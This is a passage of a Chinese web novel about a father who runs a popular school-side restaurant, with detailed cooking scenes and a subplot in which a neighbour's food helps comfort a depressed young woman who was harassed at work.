料汁调好放到旁边备用，楚易文起锅烧油，小火把姜片煸出香味后，将刚刚切好的腊味倒进锅里，煸炒出多余油脂的同时，激发出腊味更加浓郁的香气，在腊味边缘被炒得微焦时就可以盛出来。 煮腊味饭当然是用砂锅更香，为了让顾客们都吃到美味的辣味饭，他甚至专门又买了好几个特大砂锅回来。 米加水先放入砂锅里，表面铺上板栗和炒过的腊味，盖上盖子先用大火烧。楚易文站在灶台边，听见砂锅里水烧开的咕噜咕噜声后，转小火开始焖煮。 腊味饭焖煮过程中他也没闲着，开始煮汤。由于腊味饭本身就偏油润，汤他就煮了个比较清爽的菌菇汤。 楚易文把汤煮上时，耳朵很尖地听见砂锅里传来“滋滋”声，知道米饭已经收干水分，打开盖子将提前调好的料汁沿着砂锅边缘均匀地淋上去，随即盖好盖子进行二次焖煮。 在这个过程中，米香混着板栗的清香以及腊味特有香气从厨房飘出来，可把已经坐在店里的顾客给馋坏了。 “太香了！晚上这是又有什么好吃的？” “你不知道吗？晚上吃板栗腊味饭。” “板栗腊味饭？我说闻见板栗香和腊肉味了，太馋人了！” 店内顾客被馋得不行时，厨房里楚易文考虑到荤素搭配，又快速炒了一大锅菜心。 清炒菜心吃起来爽脆解腻，和腊味饭是绝配，等到他把菜炒完，汤盛出来，腊味饭也已经蒸好。 关火后楚易文没有立刻掀开盖子，而是又焖了几分钟，等到他终于把盖子掀开时，腊味的香气伴随热腾腾的蒸气从砂锅里扑出来，浓郁又醇厚。 腊肠和腊肉在蒸汽的高温下释放出它们独特的咸香、烟熏香，腊味的油脂和米饭融合，再加上板栗的清甜香气，简直令人食欲大开。 在楚易文用勺子将底部的锅巴、米饭、板栗、腊味均匀翻动，保证每一粒米都裹上酱色时，越来越浓郁的香味简直让外面顾客快要被馋哭。 “妈妈，我要吃饭饭！” 听到儿子主动喊要吃饭，仔仔妈妈心里别提有多高兴：“别急，等会我们就可以吃饭饭了。” 店里早就排成两条长龙，队伍甚至已经排到外面去，尤其是伴随放学铃声响起，还有人不断加入排队中。 “好香啊！” 都不用进店，远远就能闻见那股腊味饭特有的香气，在寒冷的冬天，简直太勾人食欲。 店内。 随着楚易文将板栗腊味饭端出来，被酱汁和腊味油脂浸润的米饭呈现漂亮的酱褐色，粒粒分明带着光泽感，金黄色板栗仁、红润油亮的腊肠、琥珀色的腊肉夹杂在米饭间，交织出诱人的暖色调。 排在第一位的顾客面对这种视觉和嗅觉的双重冲击，连咽了好几下口水才终于能顺畅地说话：“太馋人了，老板给我两份腊味饭，再来碗汤。” “好。” 楚易文快速打了两份饭，又往饭上加点菜心，翠绿的菜心让整份板栗腊味饭看起来卖相更加诱人。 “老板，你做的腊味饭看起来太好吃了！” “看得我馋死了！” 还在排队的顾客明明都没吃到嘴里，却已经忍不住夸起来，等买完饭，更是站在原地就忍不住吃起来。 米饭吸收腊味的精华和酱汁的咸鲜，不光卖相油润诱人，吃起来更是特别香，咀嚼间米香和浓郁的酱香、腊味香、淡淡的板栗清香充斥着整个口腔，光是吃米饭就特别令人满足。 “这是什么神仙腊味饭？简直好吃死了！” 小月咽下嘴里的米饭忍不住发出感叹，随即夹起一片腊肠送进嘴里。腊肠很有嚼劲，味道咸中带甜，咀嚼间油脂香在嘴里化开，越吃越香。 腊肉则是咸鲜口，带着淡淡烟熏气息，瘦肉部分干香美味，肥肉部分软糯鲜香，多余油脂早就被煮进米饭里，吃起来完全不腻。 板栗口感绵密，吸收腊味的油脂香带着几分咸鲜味，同时它的清甜平衡腊味的咸香，为整道腊味饭带来点恰到好处的回甘。 小月感觉自己从来没吃过如此美味的腊味饭，好吃到有点想捧脸。 腊味饭里每样食材都很可口，组合在一起塞进嘴里，味道更加有层次感，腊味的脂香、板栗的清甜、米饭的米香，搭配上酱汁的咸鲜，简直令人陶醉。 还在排队的顾客看到他们的吃相，简直被馋得抓心挠肺，恨不得立刻吃上饭。 “老板，给我来点锅巴，我爱吃锅巴。” 用砂锅煮出来的腊味饭带着锅巴，有年纪大牙口不行的顾客吃不了锅巴，但也有顾客就爱这一口。锅巴色泽金黄，吸收腊味油脂和酱汁，不光看起来漂亮，吃起来更是又香又脆。 有人拿到饭迫不及待就开吃，有人却是被腊味饭卖相给漂亮到，忍着馋先拍几张照片。 金黄色板栗、红亮的腊味、油润的米饭、翠绿的菜心，都不用加滤镜，随便一拍就成为一张能馋死人的美食照片。 板栗腊味饭不光大人们喜欢吃，小孩子更是爱得不行。尤其是几个因为挑食被家长带过来的小朋友，吃得那叫一个香，不管是板栗、腊肠、腊肉还是菜心，全都大口往嘴里塞，完全看不出挑食的样子。 “妈妈，这个饭真好吃！” “好吃你多吃点。”孩子妈妈说完压根顾不上再理他，自己也端起碗大口吃起来，享受着米饭的油润弹牙，腊味的肉香浓郁，以及板栗的粉糯。 天哪！ 仔仔妈妈本来也在大口吃饭，在看到儿子竟然主动吃饭里的菜心，整个人咀嚼的动作都停止。她此时甚至不敢说话，生怕自己一开口儿子就不吃了。 仔仔并没有发现妈妈的震惊，由于腊味饭实在太香，吃着吃着他压根没再特别注意碗里有什么，就着香喷喷的米饭就把菜心给吃掉。 脆嫩爽口的菜心配着腊味饭一起吃，又清爽又解腻，他不知不觉就吃掉好多。 仔仔妈妈露出高兴的表情，拿手机赶紧记录下来，似乎已经看到儿子逐渐适应肉和菜的味道，变得和普通小朋友一样正常吃饭的画面。 店内被板栗腊味饭的香味给填满时，楚瑾钰他们几个也已经开始吃饭，一个个同样被腊味饭给好吃到，吃得头都不抬。 “你干嘛？” 楚瑾钰发现胡一齐忽然站起来，才终于抬头看过去。 “我怕饭不够吃，去楚爸那打一碗。”胡一齐道。 楚瑾钰指着面前满满一大盆饭道：“这么多还不够吃？” “主要太香了，我感觉我能吃三大碗。”胡一齐说完还真端着空碗去找楚易文，楚易文顺手就给他打满一大碗。 “谢谢楚爸，你做的板栗腊味饭太好吃了！我能吃好几碗！” 胡一齐说完回座位路上就直接吃起来，香得眼睛都眯起来，感觉今天这个板栗腊味饭特别合他胃口。 受到胡一齐吃相感染，加上腊味饭确实香，楚瑾钰他们胃口都更好一些，放在桌子中间的大盆里腊味饭很快就见底。 第88章 干锅虾翅煲 今天的板栗腊味饭分量不少, 楚易文比平常多卖了一会才结束中午的营业。 “真香，太好吃了！” “怎么会有这么好吃的腊味饭！” 在他开始吃午饭时，店里依旧坐着不少顾客, 听见顾客们时不时夸赞几句，楚易文唇角微微上扬。 “李婶，你怎么还不吃饭？” 一口香喷喷的板栗腊味饭下肚，楚易文发现老太太还没吃，不由开口关心。 “那个……”李老太太有些欲言又止，随即还是说出来，“我能把饭带回家去吗？” 楚易文道：“是腊味饭不合你胃口？” “不是, 我朋友家的孙女前几天回来了，好像是生病了，天天待在房间里, 饭也不愿意吃，我寻思着你做的饭香，想带点回去看看她吃不吃, 不然她奶奶要急死了。” 楚易文并不是小气的人，闻言直接道：“行啊, 厨房里有保温桶。” 他没有拒绝李老太太带饭回去的想法，自然也不可能让她饿着肚子，用菌菇汤给她煮了份饺子。 李老太太本来是准备回家自己随便做点吃，见还是麻烦到他, 怪不好意思的。 “这有什么，你也是做好事。”楚易文道。 倒是邵言易见此有点后悔，觉得早知道中午他就少吃点，将奶奶那份饭留出来，这样就不必再煮饺子。 “奶奶, 你朋友的孙女多大啊？”胡一齐是个好奇心重的，趁着还没到上学时间，坐在旁边问。 “比你们大，今年二十五还是二十六吧。”具体李老太太还真不记得。 “那她应该已经大学毕业开始上班了。” 胡一齐话落，李老太太叹气道：“是啊，之前在外面上班好好的，不知道怎么就忽然回家……” 闲聊的工夫，很快李老太太和楚易文吃完午餐，在几个孩子回学校后，李老太太很快收拾好拎着保温桶回家。 “秀芳，在家不？” 她到家后没进门，而是继续往前走，来到一户门外喊着。 “李姐。”门很快被打开，走出来个蓝衣服老太太，她明明比李老太太小两岁，此时满面愁容却让她看起来比李老太太更加苍老。 “雨柔吃饭没？”李老太太问。 雨柔奶奶叹气：“没……” “那正好，我从店里给她带了板栗腊味饭，可香了，店里顾客都爱吃，你拿去给她尝尝，要再不行就带她去医院看看，看是哪不舒服。” “谢谢李姐，她就是不肯吃，我也问过要不要去医院看看，她不肯。” 雨柔算是李老太太从小看着长大的姑娘，在她心里，这孩子也挺不容易，有爸妈跟没有一样，那对夫妻俩跑到外地去生了个儿子，经常几年都不回来一趟，偶尔想起来打点钱，想不起来就不管。 李老太太听到好友的话，直接跟着进到屋里，热心地表示她去劝劝孩子。 “雨柔？”李老太太走到房间门口先喊了声，随即边打开保温桶边道，“回来怎么也不到奶奶家去玩，我现在在餐厅里上班，今天餐厅里做了板栗腊味饭，我记得你小时候最喜欢吃腊肠腊肉，特意带给你尝尝。” 老太太热情开朗的声音伴随板栗腊味饭特有的香味飘进房间，让原本抱着膝盖坐在床上的雨柔下意识抬头。 与此同时，她心里下意识反驳，她才不是爱吃腊肉、腊肠，只是小时候家里很少有肉吃，她才爱吃那些。 她和邵言易不同，邵言易是父母去世才不得不跟奶奶相依为命，因为这个缘故，李老太太好歹申请了低保，每个月能领到几百块钱。 而她和奶奶却不同，除了靠她爸妈偶尔想起来寄的那点钱，只能靠捡破烂维生。从小到大，她几乎很少有新衣服、新鞋子穿，都是捡附近别人不要的旧衣服穿。 她一直以为只要熬到她长大，只要她考上大学，只要等她工作了就不会再过苦日子，可现实告诉她，长大了一切也不会变好。 李老太太借助窗帘透进来微弱的光亮，看到孩子好像是哭了，随手放下手里还冒着香味的腊味饭，快步走过去搂着自己从小看到大的小姑娘：“雨柔是不是在外面受委屈了？好孩子你别哭，有什么事跟我和你奶奶说……” 雨柔感受到她怀抱的温暖，憋了好久的眼泪瞬间就止不住，直接哭出声来。 “呜呜呜……活着有什么意义啊呜呜……” “活着就是为了活着，哪有什么意义，你想想你奶奶，可别说傻话了，有什么委屈哭出来就好了。” 雨柔在她怀里大哭一场后心里确实舒服一些，实际上如果不是有奶奶，她这次受到工作和感情的双重打击，可能就不是回家窝在房间里不出门那么简单。 可能在老一辈人心里，吃饭就是大事，只要能吃得下饭人就没问题。见她哭声停止，李老太太拿起放在旁边的板栗腊味饭直接往她嘴里喂了一口。 雨柔三岁多时就已经是自己吃饭，此时被老太太喂饭，羞耻感瞬间涌上心头。 她想说自己没胃口，然而嘴里脂香浓郁的腊味饭实在太香，让她不自觉咀嚼起来，那酱香浓郁、咸鲜回甜的滋味实在太香，到嘴边的话直接变成：“谢谢李奶奶，我自己吃。” 她声音很沙哑，还带着几分哭腔，但李老太太听到她愿意吃饭，高兴地将保温桶递过去，随即起身将窗帘拉开。 雨柔的父母确实很不负责任，但奶奶已经尽力给她最好的，房间都是家里最向阳那间，阳光能直接照到床上。 虽然是冬天，但今日阳光还不错，窗帘被完全拉开后阳光洒进房间，照在人身上带来几分温暖。 雨柔感受着久违的阳光，眼睛微微眯起来，扑鼻而来的板栗腊味饭让她肚子咕咕叫起来，不由握着勺子往嘴里又塞一口。 在家颓废的这几天，由于没有什么胃口，她基本上没怎么好好吃饭，刚刚第一口饭只感觉香，味蕾甚至没尝出太多滋味。多吃两口后，腊肠的紧实有嚼劲、板栗的粉糯绵密、腊肉的咸鲜浓郁配上吸收酱汁的米饭，好吃到她有些停不下来。 美食能令人心情愉悦，此时她心里那些负面情绪都渐渐被板栗腊味饭的美味给驱散。 这样的美味是她小时候永远都吃不到的，想到此，雨柔又觉得，长大和小时候还是有些不同的。 人在钻牛角尖时只会越钻越深，其他的什么都看不清，可当从牛角尖里退出来一些，才发现其实人生并不全是悲观。 “好吃吗？中午汤没有多的，你爱吃的话，晚上我再给你带点汤，老板炖的汤又香又有营养，正好给你补补，看你脸瘦的。”李老太太看到她吃饭的模样，不由露出欣慰的表情。 “谢谢李奶奶，晚上不用给我带了。”雨柔想到刚刚在她怀里痛哭的模样有些不好意思，边吃饭边努力找话题，“你现在在餐厅里上班？” “对啊，就在小言他们学校边，老板人好，看我一个人带着小言，就让我去店里上班，还包饭。” “挺好的。” 听到李老太太的话，感觉这个世界上还是有好人的，雨柔觉得她那么大年纪都能找到工作，自己在老家找个班上问题应该不大。 她又吃两口板栗腊味饭，心里开始振作起来，觉得自己不能这么颓废，不然别说让奶奶过上好日子，怕是还要拖累奶奶。 “慢点吃，别噎着。” 李老太太话落，雨柔奶奶端着刚热好的汤进来，看到孙女大口大口吃着饭，露出慈祥的笑容：“来雨柔，喝点汤，奶奶特意给你炖的鸡汤。” 孙女这几天总是不吃饭，可把她担心得不行，特意去买的土鸡回来炖汤，就是想给她补补。 “谢谢奶奶。”雨柔此时情绪已经稳定下来，接过鸡汤抿了口。 喝完汤她开口道：“奶奶，这个腊味饭很香，你要不要尝尝？” 腊味的咸香、板栗的甘甜、酱汁的鲜香、米饭的谷物清香融合在一起，每一口吃下去都是极致的味觉盛宴。 “奶奶不饿，你多吃点。”雨柔奶奶说完用感激的眼神看向李老太太。 雨柔闻言却是不听，直接握着勺子往她嘴里塞了一口，如果不是担心李老太太嫌弃自己，她甚至想给对方也喂一口。 “确实好吃。”雨柔奶奶被动吃着嘴里的板栗腊味饭，觉得这辈子都没吃过这么香的腊味饭。 看得出来雨柔是真饿了，不知不觉就将板栗腊味饭吃完，甚至连鸡汤都喝掉。 吃饱喝足，美食带来的愉悦与饱腹感令她感觉很满足，开口告诉奶奶：“奶，老板把我给辞退了……” 明明是领导不做人，半夜发消息骚扰她，她为了拿到年终奖想要干到年底再辞职都已经忍着，结果对方得寸进尺，在她忍不了选择曝光时，最终被公司辞退的竟然是她。 最恶心的是，之前还在追她的男人竟然说“他为什么只骚扰你不骚扰别人”、“一个巴掌拍不响”这种恶心话，哪怕脾气再好她也受不了，直接甩了他两巴掌。 想到自己好歹打回去了，雨柔又觉得气顺了一些，觉得人果然还是不能脾气太好。 “没事，你之前寄回来的钱奶奶都帮你存着了，奶奶有钱给你花。” 雨柔奶奶话落，李老太太跟着道：“你老板绝对眼瞎了，那种没眼光的人不给他干活也好，你一个小姑娘，在外地上班你奶奶本来就不放心，现在回家也好……” 听到两位奶奶的话，雨柔点点头：“嗯，我以后不出去了，就在家里找工作。” 下午。 李老太太来到盲盒餐厅上班时，楚易文顺口关心了一句，得知那孩子没事了也挺高兴。 其实中午听到李老太太说时，他还挺怕那小姑娘是得抑郁症了。 “晚上我多留一份饭菜，到时候你给孩子带过去吧，心情不好时吃点好的能开心点。” 李老太太：“那怎么好意思，我出钱买一份吧。” “不用，就当是工作福利了。” 楚易文说完就去厨房准备开始做晚餐，晚上他准备炖个山药排骨汤，先把排骨焯水去腥放进砂锅中，将汤炖上。 汤在灶台上小火慢炖时，他又开始处理猪蹄。上次做的酱肘子几个孩子都爱吃，尤其是胡一齐时不时就要念叨两句，所以今天晚上他准备再做一次酱肘子。 “香死谁了？香死我了！” 有个大概六岁的小朋友跟着家里人来到盲盒餐厅，刚进店就闻见浓郁的肉香，不由仰着脑袋自问自答起来。 听到小孩那特有的童稚声音，黄老爷子笑呵呵道：“你今天不上学？” “我放假了。”小朋友也不怕生，直接回答。 黄老爷子：“这么早就放假了。” 幼儿园放假早很正常，最近这段时间来盲盒餐厅吃饭的小孩明显比之前要多。 随着店里人越来越多时，厨房内楚易文已经开始做下一道菜。台面上，处理干净的虾和鸡翅分别腌在盆里，旁边还有刚切好的花菜、土豆、莲藕。 楚易文起锅烧油，六成油温时先将蔬菜下锅油炸一遍，炸到表面微黄，边缘带出焦痕时捞出来放到旁边沥油，再将虾和鸡翅依次下锅油炸。 前面炸蔬菜时已经有股焦香飘出来，伴随虾和鸡翅下锅，浓郁的鲜味源源不断飘出来，混着刚刚炸的蔬菜香，闻起来特别馋人。 虾炸到虾壳变红变酥脆，鸡翅炸到表面金黄，表皮微微焦脆时，捞出来进行二次油炸。复炸过后鸡翅和虾看起来特别酥脆，碰撞间发出的声音听着就很馋人。 食材全部炸好，楚易文开始炒底料，他现在做的这道菜是干锅虾翅煲，既然是干锅，花椒和干辣椒肯定必不可少，用底油小火炒出香味，再加入葱、姜、蒜继续煸炒。 葱、姜、蒜特有的香味被炒出来，融合花椒、干辣椒的麻辣香，闻起来又香又有点呛人，香味飘到店里，几个小朋友连打了几个喷嚏。 “看来又有辣辣的菜，仔仔你敢不敢吃哦？” 自从儿子开始愿意尝试不同的菜肴，仔仔妈妈如今是人逢喜事精神爽，看到儿子被呛得直打喷嚏，笑着逗他玩。 仔仔：“我敢吃！” “你不怕被辣哭吗？” “我才不怕辣！”仔仔小朋友仰着小脑袋道。 小孩子会被这股辣味给呛到，大人们可爱死这股带着香辣气息的味道，已经讨论起来是什么好吃的。 “真香，自从来他家吃饭后，我感觉我和饿死鬼一样，天天一到饭点就饿得不行。” “我也是，现在每天就一个盼头，盼着过来吃饭。” “我闻见炖酱肘子的味了，真香啊！” “我也闻见了，老板炖的酱肘子贼香，好想赶紧吃饭。” 店外寒风呼啸，路上行人都没多少，但店内却是热闹得很，可以说男女老少，各个年龄段都有。 这边顾客们坐在店里等饭吃时，学校内，楚瑾钰坐在教室里又有点犯困。 邵言易看到他脑袋一点一点地开始打瞌睡，将上午胡一齐给他的那瓶茶饮料递过去。 楚瑾钰没跟他客气，拧开盖子灌了一大口，总算稍微清醒点。 “还好马上就要期末考试了，赶紧考完赶紧放假吧。” 之前楚瑾钰想到期末考试还有点紧张，怕考不好对不起他爸特意来校门口开店的用心，现在却是直接摆烂，觉得早考完早轻松。 “你复习完了？”邵言易小声回了句。 “没，但是我感觉冬天根本不适合上学，这个天气就应该用来睡觉。” 听到楚瑾钰信誓旦旦的声音，邵言易不由想到他夏天时也这么说，春困秋乏冬眠夏打盹，按照他的想法，一年四季都不适合上学。 见他竟然也会吐槽人，楚瑾钰看他两眼后表示，一年四季本来就都很适合睡觉。 楚瑾钰是清醒过来了，不远处胡一齐却是直接睡过去，放学铃声都没能将他吵醒。 “吃饭了！” 楚瑾钰在他耳边喊了声，胡一齐立刻跳起来，眼睛还没完全睁开嘴里已经下意识问：“吃什么？” 叶其林看到他这副模样，边笑边拿手机拍了张照片。 刚刚课堂上楚瑾钰困得不行，现在放学瞬间就精神起来，嘲笑完胡一齐就带头走出教室。 自家店铺其实根本不用急，可耐不住胡一齐是个吃货，在他清醒过来的催促下，几人还是很快来到盲盒餐厅。 “得亏我们不用排队。” 哪怕已经不是第一次看到店里人满为患的场景，叶其林还是忍不住感叹一句。 他还在感叹时，胡一齐已经拼命往店里挤：“真香啊！楚爸晚上又做什么好吃的了！” 今天晚餐除了他爱吃的酱肘子，最诱人的就是那盆干锅虾翅煲。鲜红的虾、金黄的鸡翅、嫩白色莲藕、焦黄的土豆、深绿色西兰花、紫色的洋葱、青红椒和点缀其中的熟白芝麻，色彩特别明艳。 “楚爸我爱你！” 胡一齐看到酱肘子时，直接转头喊了声，随即握着筷子就先吃了一大口，那软糯咸鲜的滋味，好吃到爆炸。 酱肘子多余脂肪被完全炖出来，吃起来肥而不腻，很快他就将整个肘子啃得只剩骨头，大口吃肉的感觉让他脸上不由露出满足的表情。 楚瑾钰和他不同，握着筷子先朝干锅虾翅煲下手。 鸡翅经过先炸再炒，表皮吃起来焦香酥脆，干锅底料粘在上面，肉香混着麻辣咸鲜，香得他食欲瞬间就上来。 “这鸡翅好吃！” 干锅里的鸡翅表皮焦香酥脆，内里肉质却是鲜嫩多汁，吃起来又香又入味，好吃到楚瑾钰都有点上瘾。 他连吃两个鸡翅才开始吃虾，虾壳被炸得特别脆，完全可以连着肉一起吃，咀嚼间虾肉紧实弹牙除了底料带来的麻辣咸鲜，还能尝出食材本身的淡淡鲜甜。 除了鸡翅和虾外，里面蔬菜同样美味，莲藕外焦里脆、土豆外焦里糯、西兰花软硬适中，配上恰到好处的调味，单吃很香，配米饭更是特别下饭。 楚瑾钰天天吃他爸做的饭都□□锅虾翅煲给好吃到，其他顾客就更不用说。 旁边桌上，小月吃着麻辣咸鲜的干锅，感受着每种食材的不同口感，脸上露出幸福的表情，感觉以前上班时点的干锅外卖全是垃圾。 “太好吃了！” 干锅虾翅煲好吃到她忍不住拍了张照片发给朋友【［图片］超级无敌美味的干锅虾翅煲，鸡翅外焦里嫩，虾外壳酥脆肉又新鲜又弹牙，就连配菜都好吃得不要不要的，可惜你还没辞职成功，吃不到这么美味的干锅。】 箐玥已经和公司提了辞职，但交接工作也需要时间，她没那么快能走。 此时在公司里收到消息，她有点无语，随即对着已经面前的午餐拍了张照片【［图片］……】 也是巧了，箐玥今天中午点的外卖就是干锅，没有对比时她感觉还行，有对比后，她再看自己的外卖，只感觉虾个头又小又不够新鲜，整体卖相完全比不过小月那份。 小月收到回复，从省略号中感受到她的无语，不由嘿嘿笑出声来，随即边继续啃鸡翅边又拍了张酱肘子的照片发过去。 浓稠的汤汁挂在肘子上，让酱肘子呈现漂亮的琥珀色，那油润的光泽，令人食指大动。 【你够了！不带这么馋人的，还让不让我好好吃午饭了？】 箐玥平常不怎么喜欢吃肥肉，但看到那张酱肘子照片，却有被馋到，有种特别想咬一口的想法。 这破班真是一天都上不下去了！ 她发完消息，狠狠咬了口鸡翅，将对小月的怨念都发泄在鸡翅上，三下五除二就吃完。 盲盒餐厅里，由于干锅虾翅煲太好吃，小月也没空再继续馋她，放下手机开始专心吃饭。 其实以前她从来不吃虾壳，但干锅里的虾经过油炸，虾壳被炸得特别酥脆，而且还很入味，她一边告诉自己虾壳不能吃，一边还是忍不住直接嚼碎咽下去。 第89章 黑胡椒牛肉杏鲍菇 太好吃了！ 干锅虾实在太美味, 小月前面还试图控制自己，后面干脆不管了，直接连着虾壳一起吃, 酥脆入味的虾壳配上紧实弹牙的虾肉，味道简直绝了。 这会她吃得有多开心，等吃完饭知道过几天楚易文就要开始放寒假的消息时，她就有多难受。 “不是，老板你别啊，我还准备等朋友回来请她到你这吃饭。” 听到楚易文提前通知店铺放假时间，不光小月反应很大, 其他顾客也纷纷伸出尔康手，试图说服他别那么早休息。 “老板，附近其他店铺关门早是因为他们专门做学生的生意, 你家又不一样，还有我们这么多人要过来吃，你别那么早关门啊！” “老板, 你关门了我就没饭吃，要饿死了, 你也不想看到我饿死吧？” “就是就是，不说干到大年三十，你好歹也坚持到二十七、二十八再放假。” 听到顾客们竟然想让他营业到二十七、八，楚易文觉得自己又没疯。他开店主要目的就是方便自家儿子吃饭, 学校放假后让他继续开，他是真不太愿意。 因此，不管顾客们怎么说，反正楚易文都是笑一笑，打死都不松口。 消息很快传开, 当天晚上，楚易文将最近拍的视频素材剪好发到网上时，评论区立刻热闹起来。 【这个干锅虾翅煲看起来好好吃啊，馋死我了！想点外卖，但经验告诉我，外卖的干锅看起来想，多吃两口就腻歪得不行。】 【一天天的真是要被馋死，老板你什么时候能来我家附近开家店就好了，我肯定天天去光顾。】 【老板你竟然要放假了？我正准备等过年回家时去你店里吃饭，你怎么能如此残忍！】 【别放假啊老板！求求你了，我再有十几天就放假了，你好歹等等我，等我回去吃两顿再放假啊！】 不少在外地上学、上班的人早就刷到过楚易文的视频，就等着过年放假回家去吃，得知他家盲盒餐厅马上就要放假，简直如同晴空霹雳。 倒是外地网友们瞬间就幸灾乐祸起来，发出“哈哈”的笑声。 【哈哈哈哈，让你们之前还炫耀自己是云市人，说什么回家就能吃，没想到老板会放寒假吧，现在是不是傻眼了？】 【云市人又怎么样，还不是和我们一样，干馋着吃不到。】 【可恶，我还不信了，我明天就提前请假回家，非得去盲盒餐厅吃一顿不可！】 发这条评论的姑娘叫徐笑莹，是个标准吃货，赚点钱都炫进嘴里，她早就盼着放假时回老家去尝尝盲盒餐厅，发现等自己放假后时间来不及，决定提前回老家。 她上班的地方是个小公司，人少事也不多，可以说工作氛围很不错。年底时他们公司已经没什么活干，她去找老板请假时，老板甚至都没多问，直接答应。 今年除夕在二月份，能在一月就回家过年的打工人，想想就很幸福。如果说徐笑莹刚开始请假还带着几分冲动，那么等她踏上回家的动车时，心里就只剩下高兴和期待。 两点半到家，回去把东西放好，还能赶上去盲盒餐厅吃饭~ 徐笑莹望着车窗外的风景在心里暗暗计划，想到马上就要回家，心情都不自觉飞扬起来。 徐家。 徐家父母生孩子年纪比较晚，因此女儿才刚毕业开始工作，他们夫妻俩就已经退休在家，过着养老生活。徐笑莹没有提前和父母说，等到她自己悄悄用钥匙打开家门时，夫妻俩看到她是又惊又喜。 “这么早就放假了？回来怎么也不提前说一声，妈好去买你爱吃的菜。” 徐母边说话边去接她手中的行李，徐父则是立刻要换鞋出去买菜。 徐笑莹赶紧伸手阻拦：“爸妈你们别忙活了，晚上我想出去吃，咱们这开了家盲盒餐厅，天天在网上馋我……” 徐家父母就她一个宝贝女儿，听到她是嘴馋才提前回家，夫妻俩完全没觉得有什么问题，甚至徐父还道：“想吃你怎么不早跟爸说，反正我现在也没事，可以买了给你送过去。” 从云市开车到徐笑莹工作的地方，走高速都要三个多小时，徐笑莹听到他爸的话，又感动又觉得不至于。 徐家气氛正好时，盲盒餐厅里，楚易文已经开始忙活着做晚餐，后天学校就正式放假，也就是说今天结束，明天再营业一天他就可以休息。 和最开始拥有系统时不同，现在楚易文通话系统小饭馆的积分和开店获取的好评抽奖，想获得菜谱已经很容易，因此店里每天都会有新菜色。 今天的新菜是黑胡椒牛肉杏鲍菇，牛肉和杏鲍菇搭配在一起，两种不同的鲜，想想就很美味。 楚易文将一大块牛里脊肉拿出来，逆着纹路将肉切成薄片，刀工那叫一个赏心悦目，可惜厨房里没有其他人欣赏。 肉全部切好，他加入秘制腌料用手抓均匀放在旁边先腌着，随即开始处理杏鲍菇。换好专门切蔬菜的切片刀和菜板，他先将杏鲍菇切好，又切了点青红椒、洋葱。 食材全部准备就绪，接下来就差黑胡椒酱。受老爷子影响，比起成品黑胡椒，楚易文更喜欢用现磨的，不论是香气还是辛辣味都比成品黑胡椒会更浓些。 黑胡椒磨好，那股特有的辛辣香味飘满整个厨房，微微有点呛鼻，楚易文将黑胡椒粉倒入盆中，又往里面依次加入生抽、老抽、料酒等调料，很快就调好一盆黑胡椒酱。 酱汁调完，牛肉也腌制得差不多，他起锅烧油，油在锅里微微冒烟时，将牛肉下进去滑炒。随着锅铲将肉快速滑散，牛肉开始变色，到七八成熟时，伴随着浓郁的肉香，他立刻将肉先盛出来。 牛肉炒完锅里还剩下点底油，楚易文将杏鲍菇下入锅中，中大火快速翻炒，将杏鲍菇里多余水分煸炒出来，随着杏鲍菇边缘变得焦黄，菌菇特有的鲜味被高温激发出来，闻起来别提多诱人。 阵阵菌菇香从锅里飘出来时，他又将青红椒、洋葱下锅炒至断生，洋葱的鲜味、青红椒的清爽和杏鲍菇的菌菇香融合在一起，几种不同的蔬菜组成一股清爽诱人的香味。 店中，顾客们闻见源源不断从厨房飘出来的香味，有人不自觉滚动喉咙，有人忍不住偷偷咽口水，还有小朋友直接嚷嚷着饿了想吃饭。 “一股黑胡椒香，晚上肯定有牛肉吃。” “我爱吃牛肉，但不喜欢黑胡椒，为什么做牛肉要放黑胡椒啊……” “黑胡椒和牛肉多配啊！你竟然不喜欢吃？” 可能是知道店铺只营业最后两天的缘故，今天顾客明显要来得更早、更多些，四点不到店内已经坐满顾客不说，还有好多人陆续过来，其中就有徐笑莹他们一家。 “好香啊！怪不得网上都说他家好吃，就这个香味都要把人馋死。” 还没进店，徐笑莹就闻见扑鼻而来的香味，忍不住发出感叹。 徐父则是“嚯”了一声：“人可真不少，这还没到饭点吧？” “没办法，谁让他家好吃，每天都有人提前来排队。”徐笑莹边说边赶紧带着父母加入队伍中。 她刚排好队，就听前面有顾客抱怨：“想到后天就没饭吃了就难受。” “是啊，吃惯了他家的饭，现在再让我重新吃外卖，根本吃不下。” 盲盒餐厅最吸引顾客们的就是楚易文的厨艺，但除此之外，他家的食材新鲜度也占一部分原因。吃惯他家饭菜的顾客们再去吃外卖，嘴巴都变得挑剔起来，吃什么都感觉不够新鲜。 因此这个话题特别能引起顾客们纷纷共鸣，纷纷都附和起来。 等到楚易文做好菜往外端时，排在后面的顾客忍不住开口：“老板，求求你了，再多营业一段时间吧。” “就是啊，你要是不营业了，我都不知道去哪吃饭。” “老板，没有你我可怎么活啊！” “老板，我爷爷都八十多岁了，他现在就爱吃你家饭，你说你不营业了，他吃什么啊？” “还有我们家孩子，他可挑食了，就爱吃老板你做的饭……” 听到其他顾客的声音，徐笑莹忍不住凑热闹：“老板，我特意请假回家吃你做的饭，结果你告诉我后天就不开店了，这合理吗？” “就是就是，老板，听听大家的呼声吧！” 楚易文有点头大，为了耳根子能清静点，直接转移话题：“你们待会吃完饭可以在本子上留言，被点到最多的菜我明天就做。” 盲盒餐厅绝对店如其名，每天都是不同的菜色，这样新鲜感是有了，但遇到特别爱吃的菜时，就有点让顾客们抓心挠肝，感觉根本没吃过瘾。 此时听到他说可以点菜，顾客们瞬间兴奋起来：“老板我想吃你上次做的那个腌笃鲜！” “我想吃油焖大虾！” “薯粉团，老板我想吃你做的薯粉团！” “我投脆皮肘子一票！” “扬州炒饭，我太喜欢吃老板你做的扬州炒饭了，后面在其他店买的都不是那个味道。” “灯影牛肉，老板明天做灯影牛肉吧！” 见成功转移顾客们纷纷注意力，楚易文连连点头道：“行，你们待会写在本子上，统计完明天我就做。” 他说话的同时手上动作也没停，麻利地给顾客们打饭。 今天的新菜黑胡椒牛肉杏鲍菇卖相特别诱人，酱棕色料汁包裹在食材上，深棕色牛肉和微黄色杏鲍菇染上油亮色泽，青红椒与洋葱点缀其间，看起来卖相十足。 后边顾客还在喊着明天想吃的菜时，前面的顾客已经被晚餐给吸引，望着色香味俱全的黑胡椒牛肉杏鲍菇直咽口水。 辛辣的黑胡椒气息扑鼻而来，紧随其后的是一股酱香味，以及牛肉的脂香、杏鲍菇的菌菇鲜味。 “好嫩的牛肉！” 